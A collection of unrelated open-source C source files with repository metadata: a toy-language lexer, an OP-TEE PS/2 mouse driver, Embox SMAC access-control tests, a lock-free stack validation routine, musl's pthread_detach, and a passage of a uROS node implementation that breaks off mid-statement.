BOOL_NO; state = LEX_STATE_IN_CSTR; } else if (isdigit(c) || '_' == c) { state = LEX_STATE_IN_ID; } else if ('=' == c) { state = LEX_STATE_IN_ASSIGNEQ; } else if ('>' == c) { state = LEX_STATE_IN_GTGE; } else if ('<' == c) { state = LEX_STATE_IN_NEGLTLE; } else if ('&' == c) { state = LEX_STATE_IN_AND; } else if ('|' == c) { state = LEX_STATE_IN_OR; } else if ('#' == c) { state = LEX_STATE_IN_COMMENT; } else { state = LEX_STATE_FINISH; switch (c) { case EOF: save = BOOL_NO; type = TT_EOF; break; case '+': type = TT_ADD; break; case '-': type = TT_SUB; break; case '*': type = TT_MUL; break; case '/': type = TT_DIV; break; case '%': type = TT_MOD; break; case '.': type = TT_DOT; break; case ',': type = TT_COMMA; break; case ';': type = TT_SEMI; break; case '(': type = TT_LPAREN; break; case ')': type = TT_RPAREN; break; case '[': type = TT_LBRACKET; break; case ']': type = TT_RBRACKET; break; case '{': type = TT_LBRACE; break; case '}': type = TT_RBRACE; break; default: save = BOOL_NO; type = TT_ERR; break; } } break; case LEX_STATE_IN_CINT: if ('.' == c) { state = LEX_STATE_IN_CREAL; } else { if (!isdigit(c)) { unget_char(lex); save = BOOL_NO; state = LEX_STATE_FINISH; type = TT_CINT; } } break; case LEX_STATE_IN_CREAL: if (!isdigit(c)) { unget_char(lex); save = BOOL_NO; state = LEX_STATE_FINISH; type = TT_CREAL; } break; case LEX_STATE_IN_CSTR: if ('\'' == c) { save = BOOL_NO; state = LEX_STATE_FINISH; type = TT_CSTR; } break; case LEX_STATE_IN_ID: if (!isalnum(c) && '_' != c) { unget_char(lex); save = BOOL_NO; state = LEX_STATE_FINISH; type = TT_ID; } break; case LEX_STATE_IN_ASSIGNEQ: if ('=' == c) { type = TT_EQ; } else { unget_char(lex); save = BOOL_NO; type = TT_ASSIGN; } state = LEX_STATE_FINISH; break; case LEX_STATE_IN_NEGLTLE: if ('>' == c) { type = TT_NEQ; } else if ('=' == c) { type = TT_LE; } else { unget_char(lex); save = BOOL_NO; type = TT_LT; } state = LEX_STATE_FINISH; break; case LEX_STATE_IN_GTGE: if ('=' == c) { type = TT_GE; } else { unget_char(lex); save = BOOL_NO; type = TT_GT; } state = LEX_STATE_FINISH; break; case LEX_STATE_IN_AND: if ('&' == c) { type = TT_ADD; } else { unget_char(lex); save = BOOL_NO; type = TT_ERR; } state = LEX_STATE_FINISH; break; case LEX_STATE_IN_OR: if ('|' == c) { type = TT_OR; } else { unget_char(lex); save = BOOL_NO; type = TT_ERR; } state = LEX_STATE_FINISH; break; case LEX_STATE_IN_COMMENT: save = BOOL_NO; if (EOF == c) { state = LEX_STATE_FINISH; type = TT_ERR; } else if ('\n' == c) { ++lex->lineno; state = LEX_STATE_BEGIN; } break; case LEX_STATE_FINISH: default: save = BOOL_NO; state = LEX_STATE_FINISH; type = TT_ERR; break; } if (save && i < BSIZE) tok->name[i++] = (char)c; if (LEX_STATE_FINISH == state) { tok->name[i] = 0; tok->type = type; tok->line.lineno = lex->lineno; strcpy(tok->line.fname, lex->fname); if (TT_ID == type) tok->type = type = lookup_reserved(tok->name); } } return type; }
ASMlover/study
self-lang/klang/lexer.c
C
bsd-2-clause
8,418
/* * Copyright (c) 2016, Linaro Limited * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <types_ext.h> #include <drivers/ps2mouse.h> #include <drivers/serial.h> #include <string.h> #include <keep.h> #include <trace.h> #define PS2_CMD_RESET 0xff #define PS2_CMD_ACK 0xfa #define PS2_CMD_ENABLE_DATA_REPORTING 0xf4 #define PS2_BAT_OK 0xaa #define PS2_MOUSE_ID 0x00 #define PS2_BYTE0_Y_OVERFLOW (1 << 7) #define PS2_BYTE0_X_OVERFLOW (1 << 6) #define PS2_BYTE0_Y_SIGN (1 << 5) #define PS2_BYTE0_X_SIGN (1 << 4) #define PS2_BYTE0_ALWAYS_ONE (1 << 3) #define PS2_BYTE0_MIDDLE_DOWN (1 << 2) #define PS2_BYTE0_RIGHT_DOWN (1 << 1) #define PS2_BYTE0_LEFT_DOWN (1 << 0) static void call_callback(struct ps2mouse_data *d, uint8_t byte1, uint8_t byte2, uint8_t byte3) { uint8_t button; int16_t xdelta; int16_t ydelta; button = byte1 & (PS2_BYTE0_MIDDLE_DOWN | PS2_BYTE0_RIGHT_DOWN | PS2_BYTE0_LEFT_DOWN); if (byte1 & PS2_BYTE0_X_OVERFLOW) { xdelta = byte1 & PS2_BYTE0_X_SIGN ? -255 : 255; } else { xdelta = byte2; if (byte1 & PS2_BYTE0_X_SIGN) xdelta |= 0xff00; /* sign extend */ } if (byte1 & PS2_BYTE0_Y_OVERFLOW) { ydelta = byte1 & PS2_BYTE0_Y_SIGN ? -255 : 255; } else { ydelta = byte3; if (byte1 & PS2_BYTE0_Y_SIGN) ydelta |= 0xff00; /* sign extend */ } d->callback(d->callback_data, button, xdelta, -ydelta); } static void psm_consume(struct ps2mouse_data *d, uint8_t b) { switch (d->state) { case PS2MS_RESET: if (b != PS2_CMD_ACK) goto reset; d->state = PS2MS_INIT; return; case PS2MS_INIT: if (b != PS2_BAT_OK) goto reset; d->state = PS2MS_INIT2; return; case PS2MS_INIT2: if (b != PS2_MOUSE_ID) { EMSG("Unexpected byte 0x%x in state %d", b, d->state); d->state = PS2MS_INACTIVE; return; } d->state = PS2MS_INIT3; d->serial->ops->putc(d->serial, PS2_CMD_ENABLE_DATA_REPORTING); return; case PS2MS_INIT3: d->state = PS2MS_ACTIVE1; return; case PS2MS_ACTIVE1: if (!(b & PS2_BYTE0_ALWAYS_ONE)) goto reset; d->bytes[0] = b; d->state = PS2MS_ACTIVE2; return; case PS2MS_ACTIVE2: d->bytes[1] = b; d->state = PS2MS_ACTIVE3; return; case PS2MS_ACTIVE3: d->state = PS2MS_ACTIVE1; call_callback(d, d->bytes[0], d->bytes[1], b); return; default: EMSG("Unexpected byte 0x%x in state %d", b, d->state); return; } reset: EMSG("Unexpected byte 0x%x in state %d, resetting", b, d->state); d->state = PS2MS_RESET; d->serial->ops->putc(d->serial, PS2_CMD_RESET); } static enum itr_return ps2mouse_itr_cb(struct itr_handler *h) { struct ps2mouse_data *d = h->data; if (!d->serial->ops->have_rx_data(d->serial)) return ITRR_NONE; while (true) { psm_consume(d, d->serial->ops->getchar(d->serial)); if (!d->serial->ops->have_rx_data(d->serial)) return ITRR_HANDLED; } } KEEP_PAGER(ps2mouse_itr_cb); void ps2mouse_init(struct ps2mouse_data *d, struct serial_chip *serial, size_t serial_it, ps2mouse_callback cb, void *cb_data) { memset(d, 0, sizeof(*d)); d->serial = serial; d->state = PS2MS_RESET; d->itr_handler.it = serial_it; d->itr_handler.flags = ITRF_TRIGGER_LEVEL; d->itr_handler.handler = ps2mouse_itr_cb; d->itr_handler.data = d; d->callback = cb; d->callback_data = cb_data; itr_add(&d->itr_handler); itr_enable(&d->itr_handler); d->serial->ops->putc(d->serial, PS2_CMD_RESET); }
matt2048/optee_os
core/drivers/ps2mouse.c
C
bsd-2-clause
4,633
/** * @file * @brief test for access of http://embox.googlecode.com/files/ext2_users.img * * @author Anton Kozlov * @date 18.02.2013 */ #include <stdint.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <security/smac/smac.h> #include <fs/vfs.h> #include <fs/fsop.h> #include <fs/flags.h> #include <kernel/task.h> #include <sys/xattr.h> #include <embox/test.h> #include <kernel/task/resource/security.h> EMBOX_TEST_SUITE("smac tests with classic modes allows all access"); TEST_SETUP_SUITE(setup_suite); TEST_TEARDOWN(clear_id); TEST_TEARDOWN_SUITE(teardown_suite); #define FS_NAME "ext2" #define FS_DEV "/dev/hda" #define FS_DIR "/tmp" #define FILE_H "/tmp/file_high" #define FILE_L "/tmp/file_low" #define HIGH "high_label" #define LOW "low_label" static const char *high_static = HIGH; static const char *low_static = LOW; static const char *smac_star = "*"; #define SMAC_BACKUP_LEN 1024 static char buf[SMAC_BACKUP_LEN]; static struct smac_env *backup; static struct smac_env test_env = { .n = 2, .entries = { {HIGH, LOW, FS_MAY_READ }, {LOW, HIGH, FS_MAY_WRITE}, }, }; static mode_t root_backup_mode; static int setup_suite(void) { int res; if (0 != (res = smac_getenv(buf, SMAC_BACKUP_LEN, &backup))) { return res; } if (0 != (res = smac_setenv(&test_env))) { return res; } root_backup_mode = vfs_get_root()->mode; vfs_get_root()->mode = S_IFDIR | 0777; if ((res = mount(FS_DEV, FS_DIR, FS_NAME))) { return res; } return 0; } static int teardown_suite(void) { // int res; vfs_get_root()->mode = root_backup_mode; return smac_setenv(backup); } static int clear_id(void) { struct smac_task *smac_task = (struct smac_task *) task_self_resource_security(); strcpy(smac_task->label, "smac_admin"); return 0; } TEST_CASE("Low subject shouldn't read high object") { int fd; smac_labelset(low_static); test_assert_equal(-1, fd = open(FILE_H, O_RDWR)); test_assert_equal(EACCES, errno); test_assert_equal(-1, fd = open(FILE_H, O_RDONLY)); test_assert_equal(EACCES, errno); } TEST_CASE("High subject shouldn't write low object") { int fd; smac_labelset(high_static); test_assert_equal(-1, fd = open(FILE_L, O_RDWR)); test_assert_equal(EACCES, errno); test_assert_equal(-1, fd = open(FILE_L, O_WRONLY)); test_assert_equal(EACCES, errno); } TEST_CASE("High subject should be able r/w high object") { int fd; smac_labelset(high_static); test_assert_not_equal(-1, fd = open(FILE_H, O_RDWR)); close(fd); } TEST_CASE("Low subject should be able r/w low object") { int fd; smac_labelset(low_static); test_assert_not_equal(-1, fd = open(FILE_L, O_RDWR)); close(fd); } TEST_CASE("High subject shouldn't be able change high object label") { smac_labelset(high_static); test_assert_equal(-1, setxattr(FILE_H, smac_xattrkey, smac_star, strlen(smac_star), 0)); test_assert_equal(EACCES, errno); } TEST_CASE("Low subject shouldn't be able change high object label") { smac_labelset(low_static); test_assert_equal(-1, setxattr(FILE_H, smac_xattrkey, smac_star, strlen(smac_star), 0)); test_assert_equal(EACCES, errno); } TEST_CASE("smac admin should be able change high object label") { smac_labelset(smac_admin); test_assert_zero(setxattr(FILE_H, smac_xattrkey, smac_star, strlen(smac_star), 0)); test_assert_zero(setxattr(FILE_H, smac_xattrkey, high_static, strlen(high_static), 0)); }
Kefir0192/embox
src/tests/security/smac.c
C
bsd-2-clause
3,457
/***** includes *****/ #include "lfds720_stack_np_internal.h" /***** private prototypes *****/ static void lfds720_stack_np_internal_stack_np_validate( struct lfds720_stack_np_state *ss, struct lfds720_misc_validation_info *vi, enum lfds720_misc_validity *lfds720_stack_np_validity ); /****************************************************************************/ void lfds720_stack_np_query( struct lfds720_stack_np_state *ss, enum lfds720_stack_np_query query_type, void *query_input, void *query_output ) { LFDS720_PAL_ASSERT( ss != NULL ); // TRD : query_type can be any value in its range LFDS720_MISC_BARRIER_LOAD; switch( query_type ) { case LFDS720_STACK_NP_QUERY_SINGLETHREADED_GET_COUNT: { ptrdiff_t se; LFDS720_PAL_ASSERT( query_input == NULL ); LFDS720_PAL_ASSERT( query_output != NULL ); *(lfds720_pal_uint_t *) query_output = 0; // TRD : count the elements on the stack_np se = ss->top[LFDS720_MISC_OFFSET]; while( se != 0 ) { ( *(lfds720_pal_uint_t *) query_output )++; se = LFDS720_MISC_OFFSET_TO_POINTER( ss, se, struct lfds720_stack_np_element )->next; } } break; case LFDS720_STACK_NP_QUERY_SINGLETHREADED_VALIDATE: // TRD : query_input can be NULL LFDS720_PAL_ASSERT( query_output != NULL ); lfds720_stack_np_internal_stack_np_validate( ss, (struct lfds720_misc_validation_info *) query_input, (enum lfds720_misc_validity *) query_output ); break; } return; } /****************************************************************************/ static void lfds720_stack_np_internal_stack_np_validate( struct lfds720_stack_np_state *ss, struct lfds720_misc_validation_info *vi, enum lfds720_misc_validity *lfds720_stack_np_validity ) { lfds720_pal_uint_t number_elements = 0; ptrdiff_t se_slow, se_fast; LFDS720_PAL_ASSERT( ss != NULL ); // TRD : vi can be NULL LFDS720_PAL_ASSERT( lfds720_stack_np_validity != NULL ); *lfds720_stack_np_validity = LFDS720_MISC_VALIDITY_VALID; se_slow = se_fast = ss->top[LFDS720_MISC_OFFSET]; /* TRD : first, check for a loop we have two pointers both of which start at the top of the stack_np we enter a loop and on each iteration we advance one pointer by one element and the other by two we exit the loop when both pointers are NULL (have reached the end of the stack_np) or if we fast pointer 'sees' the slow pointer which means we have a loop */ if( se_slow != 0 ) do { // se_slow = ( (struct lfds720_stack_np_element *) ( (void *) ss + se_slow ) )->next; se_slow = LFDS720_MISC_OFFSET_TO_POINTER( ss, se_slow, struct lfds720_stack_np_element )->next; if( se_fast != 0 ) // se_fast = ( (struct lfds720_stack_np_element *) ( (void *) ss + se_fast ) )->next; se_fast = LFDS720_MISC_OFFSET_TO_POINTER( ss, se_fast, struct lfds720_stack_np_element )->next; if( se_fast != 0 ) // se_fast = ( (struct lfds720_stack_np_element *) ( (void *) ss + se_fast ) )->next; se_fast = LFDS720_MISC_OFFSET_TO_POINTER( ss, se_fast, struct lfds720_stack_np_element )->next; } while( se_slow != 0 and se_fast != se_slow ); if( se_fast != 0 and se_slow != 0 and se_fast == se_slow ) *lfds720_stack_np_validity = LFDS720_MISC_VALIDITY_INVALID_LOOP; /* TRD : now check for expected number of elements vi can be NULL, in which case we do not check we know we don't have a loop from our earlier check */ if( *lfds720_stack_np_validity == LFDS720_MISC_VALIDITY_VALID and vi != NULL ) { lfds720_stack_np_query( ss, LFDS720_STACK_NP_QUERY_SINGLETHREADED_GET_COUNT, NULL, (void *) &number_elements ); if( number_elements < vi->min_elements ) *lfds720_stack_np_validity = LFDS720_MISC_VALIDITY_INVALID_MISSING_ELEMENTS; if( number_elements > vi->max_elements ) *lfds720_stack_np_validity = LFDS720_MISC_VALIDITY_INVALID_ADDITIONAL_ELEMENTS; } return; }
grz0zrg/fas
lib/liblfds7.2.0/src/liblfds720/src/lfds720_stack_nodeallocate_positionindependent/lfds720_stack_np_query.c
C
bsd-2-clause
4,484
/* @LICENSE(MUSLC_MIT) */ #include "pthread_impl.h" int pthread_detach(pthread_t t) { /* Cannot detach a thread that's already exiting */ if (a_swap(t->exitlock, 1)) return pthread_join(t, 0); t->detached = 2; __unlock(t->exitlock); return 0; }
gapry/refos
libs/libmuslc/src/thread/pthread_detach.c
C
bsd-2-clause
254
/* Copyright (c) 2012-2013, Politecnico di Milano. All rights reserved. Andrea Zoppi <texzk@email.it> Martino Migliavacca <martino.migliavacca@gmail.com> http://airlab.elet.polimi.it/ http://www.openrobots.com/ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** * @file urosNode.c * @author Andrea Zoppi <texzk@email.it> * * @brief Node features of the middleware. */ /*===========================================================================*/ /* HEADER FILES */ /*===========================================================================*/ #include "../include/urosBase.h" #include "../include/urosUser.h" #include "../include/urosNode.h" #include "../include/urosRpcCall.h" #include "../include/urosRpcParser.h" #include <string.h> #define DEBUG 0 /*===========================================================================*/ /* LOCAL TYPES & MACROS */ /*===========================================================================*/ #if UROS_NODE_C_USE_ASSERT == UROS_FALSE && !defined(__DOXYGEN__) #undef urosAssert #define urosAssert(expr) #endif #if UROS_NODE_C_USE_ERROR_MSG == UROS_FALSE && !defined(__DOXYGEN__) #undef urosError #define urosError(when, action, msgargs) { if (when) { action; } } #endif /*===========================================================================*/ /* LOCAL VARIABLES */ /*===========================================================================*/ /** @brief Node thread stack.*/ static UROS_STACK(urosNodeThreadStack, UROS_NODE_THREAD_STKSIZE); /** @brief XMLRPC Listener thread stack.*/ static UROS_STACK(xmlrpcListenerStack, UROS_XMLRPC_LISTENER_STKSIZE); /** @brief TCPROS Listener thread stack.*/ static UROS_STACK(tcprosListenerStack, UROS_TCPROS_LISTENER_STKSIZE); /** @brief XMLRPC Slave server worker thread stacks.*/ static UROS_STACKPOOL(slaveMemPoolChunk, UROS_XMLRPC_SLAVE_STKSIZE, UROS_XMLRPC_SLAVE_POOLSIZE); /** @brief TCPROS Client worker thread stacks.*/ static UROS_STACKPOOL(tcpcliMemPoolChunk, UROS_TCPROS_CLIENT_STKSIZE, UROS_TCPROS_CLIENT_POOLSIZE); /** @brief TCPROS Server worker thread stacks.*/ static UROS_STACKPOOL(tcpsvrMemPoolChunk, UROS_TCPROS_SERVER_STKSIZE, UROS_TCPROS_SERVER_POOLSIZE); /*===========================================================================*/ /* GLOBAL VARIABLES */ /*===========================================================================*/ /** * @brief Node singleton. */ UrosNode urosNode; /*===========================================================================*/ /* LOCAL FUNCTIONS */ /*===========================================================================*/ void uros_node_createthreads(void) { static UrosNodeStatus *const stp = &urosNode.status; uros_err_t err; (void)err; urosAssert(stp->xmlrpcListenerId == UROS_NULL_THREADID); urosAssert(stp->tcprosListenerId == UROS_NULL_THREADID); /* Fill the worker thread pools.*/ #if DEBUG sleep(1); printf("%s\n", stp->tcpcliThdPool.namep); #endif /* Subscribe thread */ printf("Subscribe Thread ID\n"); err = urosThreadPoolCreateAll(&stp->tcpcliThdPool); urosAssert(err == UROS_OK); /* Publish thread */ printf("Publish Thread ID\n"); err = urosThreadPoolCreateAll(&stp->tcpsvrThdPool); urosAssert(err == UROS_OK); printf("Servece? Thread ID\n"); err = urosThreadPoolCreateAll(&stp->slaveThdPool); urosAssert(err == UROS_OK); /* Spawn the XMLRPC Slave listener threads.*/ err = urosThreadCreateStatic(&stp->xmlrpcListenerId, "RpcSlaveLis", UROS_XMLRPC_LISTENER_PRIO, (uros_proc_f)urosRpcSlaveListenerThread, NULL, xmlrpcListenerStack, UROS_XMLRPC_LISTENER_STKSIZE); urosAssert(err == UROS_OK); /* Spawn the TCPROS listener thread.*/ err = urosThreadCreateStatic(&stp->tcprosListenerId, "TcpRosLis", UROS_TCPROS_LISTENER_PRIO, (uros_proc_f)urosTcpRosListenerThread, NULL, tcprosListenerStack, UROS_TCPROS_LISTENER_STKSIZE); urosAssert(err == UROS_OK); } void uros_node_jointhreads(void) { static const UrosNodeConfig *const cfgp = &urosNode.config; static UrosNodeStatus *const stp = &urosNode.status; UrosConn conn; uros_err_t err; (void)err; urosAssert(stp->xmlrpcListenerId != UROS_NULL_THREADID); urosAssert(stp->tcprosListenerId != UROS_NULL_THREADID); /* Join the XMLRPC Slave listener threads.*/ urosConnObjectInit(&conn); urosConnCreate(&conn, UROS_PROTO_TCP); urosConnConnect(&conn, &cfgp->xmlrpcAddr); urosConnClose(&conn); err = urosThreadJoin(stp->xmlrpcListenerId); urosAssert(err == UROS_OK); stp->xmlrpcListenerId = UROS_NULL_THREADID; /* Join the TCPROS listener thread.*/ urosConnObjectInit(&conn); urosConnCreate(&conn, UROS_PROTO_TCP); urosConnConnect(&conn, &cfgp->tcprosAddr); urosConnClose(&conn); err = urosThreadJoin(stp->tcprosListenerId); urosAssert(err == UROS_OK); stp->tcprosListenerId = UROS_NULL_THREADID; /* Join the worker thread pools.*/ err = urosThreadPoolJoinAll(&stp->tcpcliThdPool); urosAssert(err == UROS_OK); err = urosThreadPoolJoinAll(&stp->tcpsvrThdPool); urosAssert(err == UROS_OK); err = urosThreadPoolJoinAll(&stp->slaveThdPool); urosAssert(err == UROS_OK); } uros_err_t uros_node_pollmaster(void) { static const UrosNodeConfig *const cfgp = &urosNode.config; UrosRpcResponse res; uros_err_t err; /* Check if the Master can reply to a getPid() request.*/ urosRpcResponseObjectInit(&res); err = urosRpcCallGetPid( &cfgp->masterAddr, &cfgp->xmlrpcUri, &res ); urosRpcResponseClean(&res); return err; } void uros_node_registerall(void) { /* Register topics.*/ urosUserPublishTopics(); urosUserSubscribeTopics(); /* Register services.*/ urosUserPublishServices(); /* Register parameters.*/ urosUserSubscribeParams(); } void uros_node_unregisterall(void) { static UrosNodeStatus *const stp = &urosNode.status; UrosListNode *np; UrosString exitMsg; /* Get the exit message.*/ urosMutexLock(&stp->stateLock); exitMsg = stp->exitMsg; stp->exitMsg = urosStringAssignZ(NULL); urosMutexUnlock(&stp->stateLock); /* Exit from all the registered TCPROS worker threads.*/ urosMutexLock(&stp->pubTcpListLock); for (np = stp->pubTcpList.headp; np != NULL; np = np->nextp) { urosTcpRosStatusIssueExit((UrosTcpRosStatus*)np->datap); } urosMutexUnlock(&stp->pubTcpListLock); urosMutexLock(&stp->subTcpListLock); for (np = stp->subTcpList.headp; np != NULL; np = np->nextp) { urosTcpRosStatusIssueExit((UrosTcpRosStatus*)np->datap); } urosMutexUnlock(&stp->subTcpListLock); /* Call the shutdown function provided by the user.*/ urosUserShutdown(&exitMsg); urosStringClean(&exitMsg); /* Unregister topics.*/ urosUserUnpublishTopics(); urosUserUnsubscribeTopics(); /* Unregister services.*/ urosUserUnpublishServices(); /* Unregister parameters.*/ urosUserUnsubscribeParams(); } /*===========================================================================*/ /* GLOBAL FUNCTIONS */ /*===========================================================================*/ /** @addtogroup node_funcs */ /** @{ */ /** * @brief Initializes a node object. * @details This procedure: * - loads a nullified configuration * - initializes the status lists * - initializes the status locks * - initializes and allocates memory pools * - initializes thread pools * * @pre The node has not been initialized yet. * * @param[in,out] np * Pointer to the @p UrosNode to be initialized. */ void urosNodeObjectInit(UrosNode *np) { UrosNodeStatus *stp; urosAssert(np != NULL); /* Invalidate configuration variables.*/ memset((void*)&np->config, 0, sizeof(UrosNodeConfig)); /* Initialize status variables.*/ stp = &np->status; stp->state = UROS_NODE_UNINIT; stp->xmlrpcPid = ~0; urosListObjectInit(&stp->subTopicList); urosListObjectInit(&stp->pubTopicList); urosListObjectInit(&stp->pubServiceList); urosListObjectInit(&stp->subParamList); urosListObjectInit(&stp->subTcpList); urosListObjectInit(&stp->pubTcpList); stp->xmlrpcListenerId = UROS_NULL_THREADID; stp->tcprosListenerId = UROS_NULL_THREADID; urosMutexObjectInit(&stp->stateLock); urosMutexObjectInit(&stp->xmlrpcPidLock); urosMutexObjectInit(&stp->subTopicListLock); urosMutexObjectInit(&stp->pubTopicListLock); urosMutexObjectInit(&stp->pubServiceListLock); urosMutexObjectInit(&stp->subParamListLock); urosMutexObjectInit(&stp->subTcpListLock); urosMutexObjectInit(&stp->pubTcpListLock); stp->exitFlag = UROS_FALSE; /* Initialize mempools with their description.*/ urosMemPoolObjectInit(&stp->slaveMemPool, UROS_STACKPOOL_BLKSIZE(UROS_XMLRPC_SLAVE_STKSIZE), NULL); urosMemPoolObjectInit(&stp->tcpcliMemPool, UROS_STACKPOOL_BLKSIZE(UROS_TCPROS_CLIENT_STKSIZE), NULL); urosMemPoolObjectInit(&stp->tcpsvrMemPool, UROS_STACKPOOL_BLKSIZE(UROS_TCPROS_SERVER_STKSIZE), NULL); /* Load the actual memory chunks for worker thread stacks.*/ urosMemPoolLoadArray(&stp->slaveMemPool, slaveMemPoolChunk, UROS_XMLRPC_SLAVE_POOLSIZE); urosMemPoolLoadArray(&stp->tcpcliMemPool, tcpcliMemPoolChunk, UROS_TCPROS_CLIENT_POOLSIZE); urosMemPoolLoadArray(&stp->tcpsvrMemPool, tcpsvrMemPoolChunk, UROS_TCPROS_SERVER_POOLSIZE); /* Initialize thread pools.*/ urosThreadPoolObjectInit(&stp->tcpcliThdPool, &stp->tcpcliMemPool, (uros_proc_f)urosTcpRosClientThread, "TcpRosCli", UROS_TCPROS_CLIENT_PRIO); urosThreadPoolObjectInit(&stp->tcpsvrThdPool, &stp->tcpsvrMemPool, (uros_proc_f)urosTcpRosServerThread, "TcpRosSvr", UROS_TCPROS_SERVER_PRIO); urosThreadPoolObjectInit(&stp->slaveThdPool, &stp->slaveMemPool, (uros_proc_f)urosRpcSlaveServerThread, "RpcSlaveSvr", UROS_XMLRPC_SLAVE_PRIO); /* The node is initialized and stopped.*/ urosMutexLock(&stp->stateLock); stp->state = UROS_NODE_IDLE; urosMutexUnlock(&stp->stateLock); } /** * @brief Creates the main Node thread. * @note Should be called at system startup, after @p urosInit(). * * @return * Error code. */ uros_err_t urosNodeCreateThread(void) { urosAssert(urosNode.status.exitFlag == UROS_FALSE); urosNode.status.exitFlag = UROS_FALSE; return urosThreadCreateStatic( &urosNode.status.nodeThreadId, "urosNode", UROS_NODE_THREAD_PRIO, (uros_proc_f)urosNodeThread, NULL, urosNodeThreadStack, UROS_NODE_THREAD_STKSIZE ); } /** * @brief Node thread. * @details This thread handles the whole life of the local node, including * (un)registration (from)to the Master, thread pool magnagement, * node shutdown, and so on. * * @param[in] argp * Ignored. * @return * Error code. */ uros_err_t urosNodeThread(void *argp) { static UrosNodeStatus *const stp = &urosNode.status; uros_bool_t exitFlag; (void)argp; #if UROS_NODE_C_USE_ASSERT urosMutexLock(&stp->stateLock); urosAssert(stp->state == UROS_NODE_IDLE); urosMutexUnlock(&stp->stateLock); #endif urosMutexLock(&stp->stateLock); stp->state = UROS_NODE_STARTUP; urosMutexUnlock(&stp->stateLock); /* Create the listener and pool threads.*/ uros_node_createthreads(); urosMutexLock(&stp->stateLock); exitFlag = stp->exitFlag; urosMutexUnlock(&stp->stateLock); while (!exitFlag) { /* Check if the Master is alive.*/ if (uros_node_pollmaster() != UROS_OK) { /* Add a delay not to flood in case of short timeouts.*/ urosThreadSleepSec(3); urosMutexLock(&stp->stateLock); exitFlag = stp->exitFlag; urosMutexUnlock(&stp->stateLock); continue; } /* Register to the Master.*/ uros_node_registerall(); urosMutexLock(&stp->stateLock); stp->state = UROS_NODE_RUNNING; urosMutexUnlock(&stp->stateLock); /* Check if the Master is alive every 3 seconds.*/ urosMutexLock(&stp->stateLock); exitFlag = stp->exitFlag; urosMutexUnlock(&stp->stateLock); while (!exitFlag) { #if UROS_NODE_POLL_MASTER urosError(uros_node_pollmaster() != UROS_OK, break, ("Master node "UROS_IPFMT" lost\n", UROS_IPARG(&urosNode.config.masterAddr.ip))); #endif urosThreadSleepMsec(UROS_NODE_POLL_PERIOD); urosMutexLock(&stp->stateLock); exitFlag = stp->exitFlag; urosMutexUnlock(&stp->stateLock); } urosMutexLock(&stp->stateLock); stp->state = UROS_NODE_SHUTDOWN; urosMutexUnlock(&stp->stateLock); /* Unregister from the Master*/ uros_node_unregisterall(); urosMutexLock(&stp->stateLock); exitFlag = stp->exitFlag; if (!exitFlag) { /* The node has simply lost sight of the Master, restart.*/ stp->state = UROS_NODE_STARTUP; } urosMutexUnlock(&stp->stateLock); } /* Join listener and pool threads.*/ uros_node_jointhreads(); /* The node has shut down.*/ urosMutexLock(&stp->stateLock); stp->state = UROS_NODE_IDLE; urosMutexUnlock(&stp->stateLock); return UROS_OK; } /** * @brief Loads the default node configuration. * @details Any previously allocated data is freed, then the default node * configuration is loaded. * * @pre The related @p UrosNode is initialized. * * @param[in,out] cfgp * Pointer to the target configuration descriptor. */ void urosNodeConfigLoadDefaults(UrosNodeConfig *cfgp) { urosAssert(cfgp != NULL); urosAssert(UROS_XMLRPC_LISTENER_PORT != UROS_TCPROS_LISTENER_PORT); /* Deallocate any previously allocated data.*/ urosStringClean(&cfgp->nodeName); urosStringClean(&cfgp->xmlrpcUri); urosStringClean(&cfgp->tcprosUri); urosStringClean(&cfgp->masterUri); /* Load default values.*/ cfgp->nodeName = urosStringCloneZ(UROS_NODE_NAME); cfgp->xmlrpcAddr.ip.dword = UROS_XMLRPC_LISTENER_IP; cfgp->xmlrpcAddr.port = UROS_XMLRPC_LISTENER_PORT; cfgp->xmlrpcUri = urosStringCloneZ( 